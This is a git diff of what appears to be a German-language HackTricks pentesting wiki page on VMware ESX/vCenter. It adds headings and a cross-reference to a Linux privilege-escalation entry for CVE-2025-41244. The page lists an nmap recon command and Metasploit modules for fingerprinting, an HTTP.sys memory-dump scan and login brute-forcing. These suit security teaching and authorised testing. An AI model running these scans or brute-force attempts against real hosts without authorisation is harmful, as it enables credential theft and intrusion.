Path](https://cwe.mitre.org/data/definitions/426.html) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md index 5a3912ba8..72c179146 100644 --- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md +++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md @@ -1,16 +1,26 @@ +# VMware ESX / vCenter Pentesting + {{#include ../../banners/hacktricks-training.md}} -# Aufzählung +## Aufklärung ```bash nmap -sV --script "http-vmware-path-vuln or vmware-version" -p msf> use auxiliary/scanner/vmware/esx_fingerprint msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump ``` -# Bruteforce +## Bruteforce ```bash msf> auxiliary/scanner/vmware/vmware_http_login ``` -Wenn Sie gültige Anmeldeinformationen finden, können Sie weitere Metasploit-Scanner-Module verwenden, um Informationen zu erhalten. +Wenn Sie gültige Anmeldeinformationen finden, können Sie weitere metasploit scanner modules verwenden, um Informationen zu erhalten. + +### Siehe auch + +Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244): + +{{#ref}} +../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +{{#endref}} {{#include ../../banners/hacktricks-training.md}}